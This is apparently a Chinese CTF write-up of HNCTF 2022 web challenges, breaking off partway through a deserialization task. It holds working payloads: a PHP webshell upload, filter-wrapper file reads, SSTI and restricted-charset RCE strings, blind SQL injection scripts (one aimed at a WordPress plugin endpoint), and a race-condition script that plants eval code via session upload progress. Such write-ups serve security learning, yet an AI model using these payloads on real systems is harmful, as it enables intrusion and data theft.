@

目录

[Week1]Interesting_http

分析

应该和http协议有关 想要什么 肯定flag

说我们不是admin 看看cookie

修改cookie

继续修改 x-forwarded-for

payload

POST:want=flag
请求头 Cookie: user=admin
x-forwarded-for:127.0.0.1

[Week1]2048

分析

题目描述

你能达到20000分吗?应该是要求我们玩到20000分

F12查看脚本

直接输入

payload

在控制台输入

alert(String.fromCharCode(24685,21916,33,102,108,97,103,123,53,51,49,54,48,99,56,56,56,101,50,53,99,51,102,56,50,56,98,50,51,101,51,49,54,97,55,97,101,48,56,51,125));

[Week1]easy_html

分析

输入框限制了11位 f12修改html属性 或者直接post参数

paylaod

POST请求参数
cnt=11111111111&login=%E7%99%BB%E5%BD%95

[Week1]Interesting_include

分析

题目描述:web手要懂得搜索 应该要借助浏览器

一眼伪协议

base64解码

payload

GET:
?filter=php://filter/convert.base64-encode/resource=flag.php
base64解码

[Week1]easy_upload

分析

文件上传题目

试探一下上传个木马

<?php eval($_POST[1]);?>

我敲,直接上传成功 有些不对劲哦!

访问一下下试试,我敲 送分题

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CWRwFpT9-1666973111136)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026172222398.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9G7Zf4Er-1666973111136)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026172229588.png)]

payload

直接上传php一句话木马
flag在根目录下

[Week1]What is Web

分析

我敲 我傻了 这个题没写

直接查看源码 搜索 flag 或者 <!



base64解码

payload

也就是看源码

[Week1]Challenge__rce--自增RCE

分析

hint:ctf吃瓜杯

打开源文件,查看源码 发现hint

直接给出的是源码

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
//长度小于等于120
if (strlen($rce) <= 120) {
if (is_string($rce)) {
//不能含有以下内容
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}

先跑一下试试那些可见字符没有被过滤

for($i=32;$i<127;$i++){
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", chr($i))) {
echo chr($i);
}
} # $()+,.0123456789;=[]_{} 发现这些可以使用 那么 思路来了 自增RCE

大致说一下

php中 $_ = []._; echo $_; => Array_ $_[0]==>A 这样就可以构造命令执行
本题中限制字符120 我们可以构造chr函数 拼接GET
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_++;$_1=$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]); url编码
%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_1%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B(%24%24_%5B1%5D)()%3B

说明是可行的

$_=[]._;$__=$_[1];$_=$_[0];$_++;$_++;$_1=$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

这样说是太长了 emmm

检查发现写的有点问题 改进以下

$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);

GET
?1=system&2=ls POST
rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B

payload

GET
?1=system&2=cat /ffflllaaaggg POST
rce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B

[WEEK2]easy_include -- 包含日志

分析

<?php
//WEB手要懂得搜索 if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}

过滤了php date flag 看来是无法直接读取flag 而且无法使用伪协议

想到之前学的文件包含利用姿势:包含访问日志 查看以下服务器

默认文件位置在:

/var/log/nginx/access.log

直接包含以下

payload

就是抓包在请求头写入一个木马 连接就好

[WEEK2]ez_ssrf

分析

根据题目访问index.php

<?php

highlight_file(__FILE__);
error_reporting(0); $data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port']; $fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
die();
}
else {
fwrite($fp,$data);
while(!feof($data))
{
echo fgets($fp,128);
}
fclose($fp);
}

考点就是php socket 伪造http请求ssrf

猜测有flag.php 直接发送请求看看,等到几十秒 给出如下反应 那就访问本机把

?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogNDMuMTQzLjcuOTcNCkNvbm5lY3Rpb246IENsb3NlDQoNCg==&host=43.143.7.97&port=28819

但是访问本机22819端口无回显,考虑一般都是80端口 试试呗

这里要等待估计30s左右

其实一开始我就访问的本机80 但是因为等的好久就关了!!

payload

?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127.0.0.1&port=80

[WEEK2]Canyource -- 无参数RCE

分析

打开发现直接给的源码

highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);}
else
die('nonono');}
else
echo('please input code');

ok发现此条正则表达式

  • 任意字符加()被替换为空

  • R就是代表当前的遍历 也就是替换后的$_GET['code']

  • 这个是递归的替换,也就是将a(v(1));=>1;

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

题目要求替换后的是;,也就是我们传参的类似a(b(c(x())));

无参数RCE 可以网上一搜很多的

下面我们开始进行解flag

  • localeconv() -- 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
  • pos() -- 返回数组中的当前单元, 默认取第一个值
  • next -- 将内部指针指向数组下一个元素并输出
  • scandir() -- 扫描目录
  • array_reverse() -- 翻转数组

下面就是输出flag.php的内容

过滤了

url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\/

使用 file_get_contents读取

查看源码

payload

?code=var_dump(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))));

[WEEK2]easy_unser

分析

PHP反序列化 打开题目为源码

include 'f14g.php';
error_reporting(0); highlight_file(__FILE__); class body{ private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind"; public function __construct($want){
$About_me = "When the object is created,I will be called";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
function __wakeup(){
$About_me = "When the object is unserialized,I will be called";
$but = "I can CHANGE you";
$this-> want = $but;
echo "C1ybaby!";
}
function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
} class unserializeorder{
public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
function __sleep(){
$About_me = "When the object is serialized,I will be called";
echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
}
function __toString(){
$About_me = "When the object is used as a string,I will be called";
return $this->CORE;
}
} $obj = new unserializeorder();
echo $obj;
$obj = serialize($obj); if (isset($_GET['ywant']))
{
$ywant = @unserialize(@$_GET['ywant']);
echo $ywant;
}

审计一波源码

我们的目标是  highlight_file($this->want); 也就是 body 类
传入 ywant
要保证 不触发 __wakeup() 传入参数数量大于实际参数数量绕过
绕过 $this->want == "f14g.php" OR is_file($this->want)
- 伪协议 is_file检测除了file外的伪协议都是false
- 假目录 ./flase/../f14g.php

POC

<?php
class body{ private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind"; public function __construct($want){
$this->want = "./a/../f14g.php";
//或者 $this->want = "php://filter/convert.base64-encode/resource=f14g.php";
$this->todonothing = "22";
}
}
echo(urlencode(serialize(new body())));
?>

payload

O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A15%3A%22.%2Fa%2F..%2Ff14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bs%3A2%3A%2222%22%3B%7D

或者

O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Df14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bs%3A2%3A%2222%22%3B%7D

[WEEK2]easy_sql -- 无列名盲注

o!看了wp才知道就是union无列名注入 小问题 出来就好!!嘿嘿

分析

打开题目,发现页面的回显只有:1的、错误、error 三种 可以考虑盲注了

and && ^ # --+ 都被过滤

  • 盲注的话考虑:与、异或、按位或、按位与
  • 没有办法闭合考虑 or ||

sql中字符数字可以和数字进行按位或

构造 1'|1||' 正确回显 1'|2||' 错误回显

然后进行爆破数据库长度

发现数据库的长度是3

进一步尝试,order、information_schema都被过滤

information_schema 被过滤 -> 无列名注入

order 被过滤 -> group 替换

爆破数据库的列数,3列

1'group/**/by/**/3,'
前面的'闭合1前的' 后面的是闭合之前有的'
加上,分开 因为过滤了# 和 + 无法注释 而order by group by要在最后 使用,分割 select * from xx where id = '1'group by 5,'2'

information_schema.table被过滤 可以使用 mysql.innodb_table_stats

脚本爆破一下表的名字 得出 ccctttfff

def get_cloumns():
count = 1
flag = ''
while True:
for i in range(32, 127):
data = {
"id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=data)
if success in resp.text:
flag += chr(i)
print(flag)
count += 1
break
elif i == 126:
return False
time.sleep(0.05)

下面无列名爆破数据

select 1,2,3 union select * from ccctttfff

这样以来 1 2 3 分别对应一列 二列 三列 的列名

然后

select group_concat(`1`,'-',`2`,'-',`3`) from (select 1,2,3 union select * from ccctttfff)a

select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a

这样就可以在没有列名的情况下查询到数据库信息

然后我们开始盲注

1'|if(ascii(substr((select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a),1,1))=55,1,2)||'

运行了好多遍 遍历出来的三列分别是

# 第一列  1
# 第二列 bob
# 第三列 I am so handsome

呜呜呜,跑了好多遍,终于怀疑:出题人是不是没有把flag放到这数据库

重新跑所有的数据库库名

qwq,原谅我太菜

跑出来有两个数据库

ctf

ccctttfff

# 这个脚本的缺点:半自动 但是跑出来的表不会重复 需要修改
# limit 0,1 =>第一个数据库
# limit 1,1 =>第二个数据库
# ......
def get_all_database():
flag = ''
count = 1
while True:
for i in range(32, 127):
data = {
"id": f"1'|if(ascii(substr((select/**/database_name/**/from/**/mysql.innodb_table_stats/**/group/**/by/**/database_name/**/LIMIT/**/0,1),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=data)
if success in resp.text:
flag += chr(i)
print(flag)
break
elif i == 126:
return False
time.sleep(0.1)
count += 1 # 这个脚本的缺点:有多少个表 就会跑多少个数据库 数据库会重复
def get_all_database():
flag = ''
count = 1
while True:
for i in range(32, 127):
data = {
"id": f"1'|if(ascii(substr((select/**/group_concat(database_name)from/**/mysql.innodb_table_stats),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=data)
if success in resp.text:
flag += chr(i)
print(flag)
break
elif i == 126:
return False
time.sleep(0.1)
count += 1

第一个脚本结果:

第二个脚本结果:

然后我跑的是所有的表名

因为知道ccctttff属于ctf,那么跑出来的其余的都是ctftraining的

# 结果:
# ctf:ccctttfff
# ctftraining:flag,news,users,gtid_slave_pos
def get_tables():
count = 1
flag = ''
while True:
for i in range(32, 127):
data = {
"id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=data)
if success in resp.text:
flag += chr(i)
print(flag)
count += 1
break
elif i == 126:
return False
time.sleep(0.05)

我是估计flag就在flag表里面,但是把无列名查询我们要知道表中具体的列数的 我们又不知道flag表多少列

我查了资料也没找到,因为information_schema被过滤,有大佬知道可以说下的!

然后就是靠懵了

比赛中表的列数一般会小于10 也就 3 4 5左右

我是从1开始试的

1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'

脚本

def get_values():
count = 1
flag = ''
while True:
for i in range(32, 127):
data = {
"id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=data)
print(i)
if success in resp.text:
flag += chr(i)
print(flag)
count += 1
break
elif i == 126:
return False
time.sleep(0.05)

最后也是跑出来了

PS:这个题挺鸡贼的哈哈哈

payload

就放的最后的

def get_values():
count = 1
flag = ''
while True:
for i in range(32, 127):
data = {
"id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'"}
resp = requests.post(url=url, data=data)
print(i)
if success in resp.text:
flag += chr(i)
print(flag)
count += 1
break
elif i == 126:
return False
time.sleep(0.05)

[WEEK2]ez_SSTI -- 无过滤

分析

get参数是name,无过滤 直接SSTI注入就好

payload

?name={{"".__class__.__mro__[1].__subclasses__()[226].__init__.__globals__.__builtins__.eval("__import__('os').popen('cat flag').read()")}}

[WEEK2]ohmywordpress

CMS漏洞 存在sql注入 我自己搜的时候没找到相关资料

所以说收集还需要仔细啊!

分析

在wp的帮助下 我才发现我没找的仔细

就是一个时间盲注

payload

写个脚本

import requests
import time
# 这里我们直接猜测flag和上一个sql注入的flag位置相同
# flag
# ctftraining.flag
url = "http://43.143.7.97:28193/wp-admin/admin-ajax.php" dict="NSSCTF{_-abcdefghijklmnopqrstuvwxyz0123456789}~"
def get_values():
count = 8
flag = ''
while True:
for i in dict:
data = {
"action": "qcopd_upvote_action",
"post_id": f"(SELECT 3 FROM (SELECT if(ascii(substr((select group_concat(flag) from ctftraining.flag),{count},1))={ord(i)}, sleep(2),0))enz)"
}
print(i)
start_time = time.time()
resp = requests.post(url=url, data=data)
end_time = time.time()
if end_time-start_time>=1.5:
flag += i
print(flag)
count += 1
break
elif i == "~":
return False
time.sleep(0.05)
get_values()

跑出来的结果就是:NSSCTF{372320f2-85dc-4e9c-a1ce-cca6fc94ef56}

[WEEK3]ez_phar

upload.php上传

<?php
class Flag{
public $code;
} @unlink("test.phar");
$phar = new Phar("test.phar");
$phar -> startBuffering();
$phar -> setStub("GIF89a<?php am i a haker ?__HALT_COMPILER();?>");
$a = new Flag();
$a->code = "system('cat /ffflllaaaggg');";
$phar -> setMetadata($a); $phar -> addFromString("test.txt","test"); $phar -> stopBuffering();
?>

访问

http://ip:port/?filename=phar://./upload/test3.png

[WEEK3]Fun_php

分析

打开题目直接给出的是源码

<?php
error_reporting(0);
highlight_file(__FILE__);
include "k1y.php";
include "fl4g.php";
$week_1 = false;
$week_2 = false; $getUserID = @$_GET['user'];
$getpass = (int)@$_GET['pass'];
$getmySaid = @$_GET['mySaid'];
$getmyHeart = @$_GET['myHeart']; $data = @$_POST['data'];
$verify =@$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final']; if("Welcom"==0&&"T0"==0&&"1he"==1&&"HNCTF2022"==0)
echo "Welcom T0 1he HNCTF2022<BR>"; if("state_HNCTF2022" == 1) echo $hint;
else echo "HINT? NoWay~!<BR>"; if(is_string($getUserID))
$user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r if($user == 114514 && $getpass == $pass){
if (!ctype_alpha($getmySaid))
die();
if (!is_numeric($getmyHeart))
die();
if(md5($getmySaid) != md5($getmyHeart)){
die("Cheater!");
}
else
$week_1 = true;
} if(is_array($data)){
for($i=0;$i<count($data);$i++){ if($data[$i]==="Probius") exit(); $data[$i]=intval($data[$i]);
}
if(array_search("Probius",$data)===0)
$week_2 = true; else
die("HACK!");
}
if($week_1 && $week_2){
if(md5($data)===md5($verify))
// ‮⁦HNCTF⁩⁦Welcome to
if ("hn" == $_GET['hn'] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦ctf]) { //HN! flag!! F if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
die("HACK!"); else{
echo "Fine!you win";
system("cat ./$want");
}
}
else
die("HACK!");
} ?>

扫一眼 是要我们 $week_1 $week_2 均为true会给出flag

第一个$week_1

// 首先第一个if  对传入的getuserid进行判断是否为字符串  肯定是字符串
// 那么会拼接 我们要的是$user=114514 但是拼接了怎么办?
// u5er_D0_n0t_b3g1n_with_4_numb3r 翻译一下 user_do_not_begin_with_4_number
// 我理解的大概就是 user没有以数字开头 php中 非数字开头字符串+数字字符串 = 数字字符串 测试一下
if(is_string($getUserID))
$user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r

测试 :

<?php
echo "9a"+'10'; // 19
echo "\n";
echo "a9"+"11"; // 11 题目中属于这个情况 也就是最终的 $user = $getUserID;
echo "\n";
echo "9a"+'a8'; // 9
echo "\n";
echo "a4"+'a8'; // 0

那么我们知道要传入user=114514

// 然后进入第二个if 如果 $getpass和$pass相等 那么进入判断
// 在前面发现 $getpass = (int)@$_GET['pass']; 要转入数字 只要传入不是数字开头字符串 那$getpass一定为0 假如 $pass是字母开头 那么 就可以进入判断 我们试一下
if($user == 114514 && $getpass == $pass){
//.....
}

给user传入114514 给pass传字符 mySaid 传纯字母 myHeart传纯数字

如果返回了Cheater!说明 $pass 就是字母开头 给pass传字母来绕过,假设成立

// 下面就是md5弱比较绕过
if (!ctype_alpha($getmySaid))
die();
if (!is_numeric($getmyHeart))
die();
// 要求$getmySaid是纯字母 $getmyHeart是数字 而且 md5两者相等 这里是 != 弱判断
// 使用 md5 之后是0e开头就可以绕过
//mySaid=TUFEPMC myHeart=1586264293
if(md5($getmySaid) != md5($getmyHeart)){
die("Cheater!");
}
else
$week_1 = true;

如下,我们让第一个 $week_1 = true;

user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293

下面实现第二个

// 这个if 首先判断传入的 data 是不是一个数组
// 我们要先了解一下array_search的漏洞
// array_search是查找$data数组中和Probius相等的值 返回其下标 在第三个参数不为true的时候 是 == 弱比较 也就是 0 == "admin" 成立 我们只需要构造[0]即可 或者 ['x'] 这种 以任意字母开头的字符串
if(is_array($data)){
for($i=0;$i<count($data);$i++){
if($data[$i]==="Probius") exit();
$data[$i]=intval($data[$i]);
}
if(array_search("Probius",$data)===0)
$week_2 = true;
else
die("HACK!");
}

这样我们就让 $week_2=true 进入下一个if

if($week_1 && $week_2){
//这里是md5强相等绕过 我们前面让data是一个数组 使$verify是一个数组即可 对数组计算md5值都是0
if(md5($data)===md5($verify)){
}

进入下一个条件

这个使奇怪的编码 Unicode 在NSSCTF 有一个 CheckIn 考点就是这个

我们在vscode打开修改就好了

U+202E=>0xE2 0x80 0xAE=>%E2%80%AE
U+2066=>0xE2 0x81 0xA6=>%E2%81%A6
U+2069=>0xE2 0x81 0xA9=>%E2%81%A9
hn=hn
%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf

试下我们思路是否正确

这样我们进入最后的if

// 我们使用通配符试试 而且还包含了 include "k1y.php"; 试试看
if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
die("HACK!");
else{
echo "Fine!you win";
system("cat ./$want");
}

我们试试看输出 k1y.php 的内容,这也验证了推测 user和pass都是字母开头

payload

GET:
?user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf POST:
data[]=0&verify[]=3&want=f*

logjjjjlogjjjj

分析

考点就是log4j2 没有公网IP先没写

[WEEK3]ssssti

分析

长的和week2的ssti一样 但是肯定变难了(加了黑名单)

黑名单(大概

'
"
_
args -- 无法使用 request.args
os -- 无法导入os
不允许post -- 无法使用 request.value

看之前笔记找到了一个payload

{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

这个是读取根目录下的flag 根据上个ssti的题猜测flag应该还是在本目录

然后使用request.cookies构造上述的payload就好了

payload

?name={{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}}

cookie:c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag

[WEEK3]QAQ_1inclu4e

分析

过滤了

log
php
:
flag
.

常见的包含都没办法了

  • 伪协议
  • 日志文件

其实感觉文件包含考点不是特别的多,除去两个差不多就是利用session.upload_progress

推荐文章

一般session存放的常见目录

/tmp/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

上python脚本(这里先自己写了下 然后一直不成功 借鉴了其他师傅的)

import requests
import threading
import io sess_id = "ybo0sing" # sess拼接的文件名
url = "http://43.143.7.97:28112/" # 修改url地址
data = {"_": "system('nl /var/ffflllaaagggflag');"} # 执行的命令
filename = "ybo0sing.txt" # 上传的文件名 要上传文件 它会携带者PHP_SESSION_UPLOAD_PROGRESS发送 而且会存储到sess_id文件里面
parameter = "QAQ" # 参数名称
catalogue = "/tmp" # 存放session文件的目录 def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
data = {"PHP_SESSION_UPLOAD_PROGRESS": f"{sess_id}<?php eval($_POST[_]);?>{sess_id}"}
cookies = {"PHPSESSID": sess_id}
files = {"file": (filename, f)}
session.post(url=url, data=data, cookies=cookies, files=files) def read(session):
while True:
resp = session.post(url=f"{url}?{parameter}={catalogue}/sess_{sess_id}", data=data)
if filename in resp.text:
print(resp.text)
event.clear() if __name__ == '__main__':
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

执行命令

根目录下

根目录没有flag 那么一般也就是在 env 这里是不在的 一个一个找!! (暴打出题人)最后在var找到

查找flag

payload

import requests
import threading
import io sess_id = "ybo0sing" # sess拼接的文件名
url = "http://43.143.7.97:28112/" # 修改url地址
data = {"_": "system('nl /var/ffflllaaagggflag');"} # 执行的命令
filename = "ybo0sing.txt" # 上传的文件名 要上传文件 它会携带者PHP_SESSION_UPLOAD_PROGRESS发送 而且会存储到sess_id文件里面
parameter = "QAQ" # 参数名称
catalogue = "/tmp" # 存放session文件的目录 def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
data = {"PHP_SESSION_UPLOAD_PROGRESS": f"{sess_id}<?php eval($_POST[_]);?>{sess_id}"}
cookies = {"PHPSESSID": sess_id}
files = {"file": (filename, f)}
session.post(url=url, data=data, cookies=cookies, files=files) def read(session):
while True:
resp = session.post(url=f"{url}?{parameter}={catalogue}/sess_{sess_id}", data=data)
if filename in resp.text:
print(resp.text)
event.clear() if __name__ == '__main__':
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()

[WEEK4]unf1ni3hed_web3he1--session反序列化

考点:session.upload_progress反序列化+条件竞争

分析

打开题目 让我们传参试试

点击跳转b站视频 Never Gonna Give You Up!!!!!,而且给出提示,捕获它!也就是拦截跳转

捕获之后 给说提示 一个php网站

访问试试看是什么,y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!大致意思就是 你可能需要给我们一些t00llll 没看wp之前没考虑到下一个页面 t00llll.php

这里给说的提示是看看 t00llll.php 访问给出源码

还是文件包含,但是无法读取flag 也无法包含日志

试试伪协议读取一下Rea1web3he11.php

base64解码

好像是反序列化 但是怎么没有unserialize函数?也没办法phar利用?

<?php
error_reporting(0);
ini_set('session.serialize_handler', 'php'); // 使用的是php 会将|后面序列化 我们使用php_serialize构造exp
session_start();
echo "y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"."<br>"; class webshell{
public $caution;
public $execution; function __construct(){
$this -> caution = new caution();
} function __destruct(){
$this -> caution -> world_execute();
}
function exec(){
@eval($execution);
}
}
class caution{
function world_execute(){
echo "Webshell初&#%始*$%&^化,$))(&*(%#^**ERROR**#@$()"."<br>";
}
}
class execution{
public $cmd;
function __construct(){
$this -> cmd = 'echo "即将执行命令:".$cmd;';
}
function world_execute(){
eval($this -> cmd);
}
}
?>

考点肯定是利用xxx构成反序列化 看到源码ini_set('session.serialize_handler', 'php');有点可以搜搜看 发现是利用 php_session反序列化

构造POST提交表单

<form action="http://43.142.108.3:28132/Rea1web3he11.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="yb0osing" />
<input type="file" name="file" />
<input type="submit" />
</form>

构造poc

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start(); class webshell{
public $caution;
public $execution; function __construct(){
$this -> caution = new execution();
} }
class execution{
public $cmd;
function __construct(){
$this -> cmd = 'phpinfo();';
}
}
echo serialize(new webshell());
//O:8:"webshell":2:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:10:"phpinfo();";}s:9:"execution";N;}
//对exp进行修改
// |O:8:\"webshell\":2:{s:7:\"caution\";O:9:\"execution\":1:{s:3:\"cmd\";s:10:\"phpinfo();\";}s:9:\"execution\";N;} //|O:8:\"webshell\":2:{s:7:\"caution\";O:9:\"execution\":1:{s:3:\"cmd\";s:26:\"system('find / -name f*');\";}s:9:\"execution\";N;}
?>

在构造的表单中提交任意文件,并且使用burp抓捕,修改filename为exp

然后使用一直发包(在上传结束后,session文件中有关上传进度的信息会立马被删除,删除上床的文件名和PHP_SESSION_UPLOAD_PROGRESS),执行成功

执行其他命令 找flag

payload

POST /Rea1web3he11.php HTTP/1.1
Host: 43.142.108.3:28132
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/sess_unser.html
Cookie: PHPSESSID=2arnidrh9e6im96a4odai5rldk
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------135602342921711
Content-Length: 1250 -----------------------------135602342921711
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" yb0osing
-----------------------------135602342921711
Content-Disposition: form-data; name="file"; filename="|O:8:\"webshell\":2:{s:7:\"caution\";O:9:\"execution\":1:{s:3:\"cmd\";s:27:\"system('cat /secret/flag');\";}s:9:\"execution\";N;}"
Content-Type: text/x-python _ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/ -----------------------------135602342921711--

[WEEK4]pop子和pipi美 -- 反序列化

分析

就是没找到怎么看源码 师傅操作把我看待啦qwq

打开题目,这是两处hint 我们去搜下这个番,ep就是番剧的ep号

去b站搜搜 第一集的ep号

那么输入以下看看,输出了源码 太烧脑啦!!!

<?php
error_reporting(0);
//flag is in f14g.php
class Popuko {
private $No_893;
public function POP_TEAM_EPIC(){
$WEBSITE = "MANGA LIFE WIN";
}
// 1、__invoke 当以函数的方式调用对象实例的时候触发
// $this->No_893 = php://filter/read/convert.base64-encode/resource=f14g.php
public function __invoke(){
$this->append($this->No_893);
}
public function append($anti_takeshobo){
// 终点
include($anti_takeshobo);
}
} class Pipimi{ public $pipi;
public function PIPIPMI(){
$h = "超喜欢POP子ww,你也一样对吧(举刀)";
}
public function __construct(){
echo "Pipi美永远不会生气ww";
$this->pipi = array();
}
